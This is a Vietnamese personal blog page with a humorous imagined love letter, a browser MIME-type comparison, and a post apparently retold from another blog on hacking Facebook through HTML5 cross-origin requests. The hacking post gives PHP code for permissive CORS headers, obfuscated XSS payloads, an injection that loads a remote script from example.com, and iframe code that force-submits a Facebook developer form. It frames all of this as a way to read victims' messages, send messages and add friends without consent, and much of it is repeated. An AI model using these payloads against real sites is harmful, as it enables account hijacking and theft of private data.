A javascript library to store data in key-value method in browser's localStorage with functions like redis!
Release: https://github.com/canhnm/jsdis
canhnm's note
Chủ nhật, ngày 13 tháng mười một năm 2011
Thứ bảy, ngày 27 tháng mười một năm 2010
Thư tình thế kỷ 22
Anh ngồi bấu tay vào thành giường nhìn ra ngoài trời. Hình như mưa. Mắt anh mấy ngày nay thấy nắng loà nhoà lại tưởng mưa, thấy mưa thì nhìn như đang nắng xuống. Thằng chắt nội nói, mắt cụ nhìn không rõ nữa, cụ đi đâu để cháu dắt. Nó nói thật em nhỉ, nhưng mình cần gì nó dắt, ví thử có em đến ngoài ngõ kia, anh chẳng nhìn thấy rõ mồn một.
Anh vẫn khoẻ. Mỗi ngày các cháu nó cho ăn năm bữa, mỗi bữa một bát cháo đã nát nhừ. Anh chỉ dám viết thư cho em mà không dám gọi điện vì tiếng của anh nói em chỉ có thể nghe như tiếng rừng phi lao xào xạc.
Sáng nào anh cũng đi thể dục, đi từ mép giường ra tới bậc cửa sổ, vị chi là bốn bước. Bốn bước mà đi mất hai giờ, mồ hôi đổ vã ra, sảng khoái ghê!
Nay con cháu đông rồi, anh không phải đánh máy như ngày xửa ngày xưa nữa, các cháu giúp ông. Nhưng khi viết thư cho em, anh phải tự đánh máy lấy. Thư này anh viết từ mùa hè, giữa hè, đến đúng mùa đông thì xong, mỗi ngày anh viết quần quật được hai dòng. Ngày nào viết đến ba dòng thì phải truyền một lọ đạm.
Nhớ cách đây chừng 50 năm em nhỉ, chúng mình chạy ào ào trên bãi biển. Em thì lúc nào cũng hét lên: Thích quá cơ. Còn anh thì chạy theo sau nhìn em, thấy đôi chân em trắng loáng trong ánh chiều hoàng hôn ở bãi biển mà nhớ mãi. Giờ vẫn nhớ đấy. Hôm rồi, nhớ em quá bảo đứa cháu nó đưa ra biển. Đinh nhấc chân bước, định hổn hển nhắc lại lời em nói, thích quá cơ, nhưng suýt nữa người anh đổ chúi xuống vì gió biển thổi.
Nhận được tin em đã hết ốm, đã ăn được mỗi bữa năm thìa cháo bột mà mừng quá. Ăn năm thìa là tốt rồi, ăn nhiều quá không nên em ạ. Anh khoẻ thế này mà chỉ ăn bốn thìa thôi là thấy no căng. Nhớ ngày xửa ngày xưa vẫn thích ăn cơm nguội với nước cá kho. Vừa rồi, tự dưng thèm cơm nguội cá kho, ăn một chút thôi mà miệng anh như ăn phải đá hộc, đau tê tái.
Anh nhắc nhé, nếu ngoài trời có gió là em không được ra ngoài. Hôm qua, mấy đứa cháu bảo ông ơi, ra sân hóng mát, gió nồm mát lắm ông ạ. Theo chân nó vừa ra tới sân, ngọn gió nồm suýt thổi anh bay lên nóc nhà, may có hai thằng cháu giữ chặt.
Sắp tới ngày sinh nhật em nhỉ. Thế là em đã tròn tuổi 80. Hôm đó anh sẽ cố gắng điện thoại. Nhưng anh nói trước, nếu em nghe tiếng xào xào tức là anh nói rằng em đấy hả. Khi nghe tiếng thùm thùm tức là anh đang chúc em sinh nhật vui vẻ. Đến khi nghe tiếng phù phù nhiều lần là anh đang hôn em.
Nhớ hồi ấy, anh đưa hai tay lên nhấc bổng em quay mấy vòng giữa trời, em cười rất to. Giờ anh nhìn lại đôi tay mình, hình như tay ai, nhìn rất tội. Hôm qua anh cố nhấc con búp bê bé tý lên cao mà nghe tiếng xương cốt kêu răng rắc, sợ quá nên thôi.
Em ngủ ngon không?
Anh chợp mắt từ chập tối. đến khoảng 9 giờ là dậy, ngồi, nhìn ra trời đêm. Mấy đứa cháu nói ông ngủ ít quá. Anh bảo, thì đến khi ông ra đi, xuống đất, ông ngủ cả ngày lo gì.
Thỉnh thoảng, anh vẫn mở máy tính, xem lại mấy bài viết trên blog hồi ấy, thấy rất vui. Chắc giờ mấy ông, mấy bà blogger cũng không còn mấy ai nữa, lâu chẳng thấy ai vào blog nữa. Lũ cháu hỏi, ông ơi, blog là gì. Chúng nó bây giờ chẳng có blog. Ngồi bô đi ị mà vẫn có màn hình máy tính ở miệng bô, thích thật. Thời buổi giờ hiện đại quá, mình chẳng biết gì. Nhà anh, có cái máy giặt, con cháu nó đi làm, điều khiển từ xa, điều khiển cả rôbốt. Anh ngồi, rôbốt nó đến, nó cởi áo anh ra, nó gội đầu cho anh, tắm táp, rồi còn mang áo quần đi giặt. Lũ trẻ bây giờ yêu nhau cũng nhờ rôbốt làm hộ. Máy chữ không cần đánh, muốn viết gì, chỉ cần đọc là máy tính tự gõ chữ. Nhưng tiếng anh phì phèo quá nên máy chữ nó đánh sai hết cả. Ai đời anh viết, em ơi, anh nhớ em lắm nhưng vì miệng anh móm mém phì phò nên máy nó nghe không rõ, nó đánh thành: Phem phơi, phanh phớ phem phắm. Thế mới bực!
Anh không muốn gọi em là bà. Cứ gọi nhau bằng anh, bằng em thế nghe ngọt ngào. Hai ngày nữa anh tròn 90 tuổi. Anh đợi thư em.
Mà nếu không gửi được thư thì bảo rôbốt nó mang thư đến cho anh em nhé.
Anh dừng bút.
Thắng chắt nội đang mang chén cháo bột đến để cho anh ăn.
Chúc em ngủ ngon nhé. Nhớ đừng ra gió.
S/T
Thứ tư, ngày 24 tháng mười một năm 2010
Hấp diêm người dùng f*ckbook
Có thể tham khảo thêm 1 số article tôi collect lại về Crossite Request Forgery để hiểu rõ bản chất của cách tấn công này :-)
Trong bài viết (Hacking Facebook with HTML5- tạm đọc: Làm dư lào để ấy người sử dụng f*ckbook) của mình trên blog matt đã cho thấy ngoài những features đáng giá mà html5 hứa hẹn cho các lập trình viên thì nó cũng tiềm tàng 1 mối nguy hiểm không kém phần hứa hẹn :)), giúp cho các thanh niên đọc hack là hắc hoàn thành giấc mơ có thể ưỡn ngực tự xưng iem nà hắc cơ :|
2 điểm cốt yếu là HTTP access control hoặc Cross-Origin Resource Sharing. 2 thứ này cho phép trình duyệt tạo ajax request cross domain (thực ra hiện tại cũng có thể dùng tricks để thực hiện request cross domain được rầu, không nhất thiết phải chờ đến HTML5)
Exploit :
Điểm chính là 1 code php để chèn thêm 1 vài headers nhằm qua mặt thằng phờ bờ :-"
< ?php
// Specify domains from which requests are allowed
header('Access-Control-Allow-Origin: *');
// Specify which request methods are allowed
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
// Additional headers which may be sent along with the CORS request
header('Access-Control-Allow-Headers: X-Requested-With');
// Exit early so the page isn't fully loaded for options requests
if (strtolower($_SERVER['REQUEST_METHOD']) == 'options') {
exit();
}
?>
Đoạn code sau cần load ở payload :
Giờ thì cứ đàng hoàng mà load extend script vào để chơi với nạn nhân thôi :-"
* Biết được nạn nhân là ai
* Xem các ảnh
* Đọc tin nhắn
* Đọc tin nhắn đã gửi
* Gửi tin nhắn ( :-o đù chứ cái này mà lợi dụng lừa đảo thì ối thằng vỡ mồm )
* Đọc được cơ số các thông tin mật khác (e-mail, phone, bạn bè)
* Thêm bạn (add friends)
* Đăng comments
chú ý là các phần trên này là cũng đếu cần được người sử dụng kia cho phép nhá, chứ được cho rồi thì cần mẹ gì :-j
Với ngần trên thứ có vẻ vẫn chưa làm hài lòng với 1 cơ số người. Ok, take some change :
Sử dụng "document.domain"bởi vì thằng "http://touch.facebook.com" là con giai thằng facebook.com mà :D, do vậy bạn hoàn toàn có thể define cái này há.
document.domain = 'facebook.com'
Giờ thì có thể trực tiếp đối đáp với ông f*ckbook rồi.
Lưu ý :
+ Đối với các thanh niên thích linh tinh :Mềnh không chịu trách nhiệm với bất cứ trường hợp bạn nào ngâm sâu hơn cái này để phang phập linh tinh người sử dụng f*ckbook đâu nhá :"> mềnh chỉ tóm gọn lại hộ thôi =))
+ Đối với người sử dụng f*ckbook: Có bị làm sao với cái f*ckbook thì xin chúc mừng =))
Hết ạ!!!
Trong bài viết (Hacking Facebook with HTML5- tạm đọc: Làm dư lào để ấy người sử dụng f*ckbook) của mình trên blog matt đã cho thấy ngoài những features đáng giá mà html5 hứa hẹn cho các lập trình viên thì nó cũng tiềm tàng 1 mối nguy hiểm không kém phần hứa hẹn :)), giúp cho các thanh niên đọc hack là hắc hoàn thành giấc mơ có thể ưỡn ngực tự xưng iem nà hắc cơ :|
2 điểm cốt yếu là HTTP access control hoặc Cross-Origin Resource Sharing. 2 thứ này cho phép trình duyệt tạo ajax request cross domain (thực ra hiện tại cũng có thể dùng tricks để thực hiện request cross domain được rầu, không nhất thiết phải chờ đến HTML5)
Exploit :
Điểm chính là 1 code php để chèn thêm 1 vài headers nhằm qua mặt thằng phờ bờ :-"
< ?php
// Specify domains from which requests are allowed
header('Access-Control-Allow-Origin: *');
// Specify which request methods are allowed
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
// Additional headers which may be sent along with the CORS request
header('Access-Control-Allow-Headers: X-Requested-With');
// Exit early so the page isn't fully loaded for options requests
if (strtolower($_SERVER['REQUEST_METHOD']) == 'options') {
exit();
}
?>
Đoạn code sau cần load ở payload :
< tab="home_menu" id="feed_tabbox" 0nreplace="fb.updateCurrentPage()">Chú ý cái đoạn onerror nhá, thằng blogger của ông google cũng dính chưởng á =))
< !mg style="d!splay:none" src="x" 0nerror="al3rt('xss')" />
Giờ thì cứ đàng hoàng mà load extend script vào để chơi với nạn nhân thôi :-"
Với tình trạng hiện giờ của anh Phắc Búc này thì cứ điềm nhiên mà load 1 iframe với bất cứ cái gì mà bạn thích vào :
0nerror="$('header').appendChild(document.createElement('script')).src='http://example.com/fb/fb.js'"
< src="http://touch.facebook.com/#http://example.com/xss.php" style="display:none">Rầu giờ thì bạn có thể làm gì với nạn nhân??? điểm mặt quan trọng nà
* Biết được nạn nhân là ai
* Xem các ảnh
* Đọc tin nhắn
* Đọc tin nhắn đã gửi
* Gửi tin nhắn ( :-o đù chứ cái này mà lợi dụng lừa đảo thì ối thằng vỡ mồm )
* Đọc được cơ số các thông tin mật khác (e-mail, phone, bạn bè)
* Thêm bạn (add friends)
* Đăng comments
chú ý là các phần trên này là cũng đếu cần được người sử dụng kia cho phép nhá, chứ được cho rồi thì cần mẹ gì :-j
Với ngần trên thứ có vẻ vẫn chưa làm hài lòng với 1 cơ số người. Ok, take some change :
Sử dụng "document.domain"bởi vì thằng "http://touch.facebook.com" là con giai thằng facebook.com mà :D, do vậy bạn hoàn toàn có thể define cái này há.
document.domain = 'facebook.com'
Giờ thì có thể trực tiếp đối đáp với ông f*ckbook rồi.
uid = 501558012;Trình duyệt phía nạn nhân sẽ thực hiện cho bạn, ajax load payload và ta sử dụng DOM để load iframe vào nhằm thực hiện ý đồ đen tối :-"
app_id = 123456789012332;
function Image(){
// this should kill the click jacking report
}
// create a new iframe we will use to load facebook.com
var tempIFrame=document.createElement('iframe');
tempIFrame.setAttribute('id','RSIFrame');
// attach the iframe to the page
IFrameObj = document.body.appendChild(tempIFrame);
//once its loaded create a new form element and post the form
IFrameObj.onload = function(){
doc = IFrameObj.contentWindow.document;
IFrameObj.contentWindow.onbeforeleavehooks = [];
new_element = doc.createElement("input");
new_element.setAttribute("type", "hidden");
new_element.setAttribute("name", "new_dev_friends[]");
new_element.setAttribute("id", "new_dev_friends_" uid);
new_element.setAttribute("value", uid);
doc.forms['editapp'].appendChild(new_element);
doc.forms['editapp'].submit();
}
// load the iframe
IFrameObj.src = 'http://www.facebook.com/developers/editapp.php?app_id=' app_id
Lưu ý :
+ Đối với các thanh niên thích linh tinh :Mềnh không chịu trách nhiệm với bất cứ trường hợp bạn nào ngâm sâu hơn cái này để phang phập linh tinh người sử dụng f*ckbook đâu nhá :"> mềnh chỉ tóm gọn lại hộ thôi =))
+ Đối với người sử dụng f*ckbook: Có bị làm sao với cái f*ckbook thì xin chúc mừng =))
Hết ạ!!!
Thứ sáu, ngày 26 tháng hai năm 2010
Lại là IE
Firefox
IE 8
IE6
Chrome
Opera
Safari
So sánh mấy mảng trả về từ form upload cái ảnh png, ông IE nhà ta chơi 1 mình một MIME =)) check vỡ mẹt :|
Array
(
[name] => 7687.png
[type] => image/png
[tmp_name] => D:\xampp\tmp\phpB07.tmp
[error] => 0
[size] => 14618
)
IE 8
Array
(
[name] => 7687.png
[type] => image/x-png
[tmp_name] => D:\xampp\tmp\phpA7E.tmp
[error] => 0
[size] => 14618
)
IE6
Array (
[name] => 7687.png
[type] => image/x-png
[tmp_name] => D:\xampp\tmp\phpB05.tmp
[error] => 0 [size] => 14618
)
Chrome
Array (
[name] => 7687.png
[type] => image/png
[tmp_name] => D:\xampp\tmp\phpA81.tmp
[error] => 0 [size] => 14618
)
Opera
Array (
[name] => 7687.png
[type] => image/png
[tmp_name] => D:\xampp\tmp\phpAE7.tmp
[error] => 0 [size] => 14618
)
Safari
Array
(
[name] => 7687.png
[type] => image/png
[tmp_name] => D:\xampp\tmp\phpB11.tmp
[error] => 0 [size] => 14618
)
So sánh mấy mảng trả về từ form upload cái ảnh png, ông IE nhà ta chơi 1 mình một MIME =)) check vỡ mẹt :|
Thứ ba, ngày 23 tháng hai năm 2010
openmoko & android
Đăng ký:
Các Bài đăng (Atom)

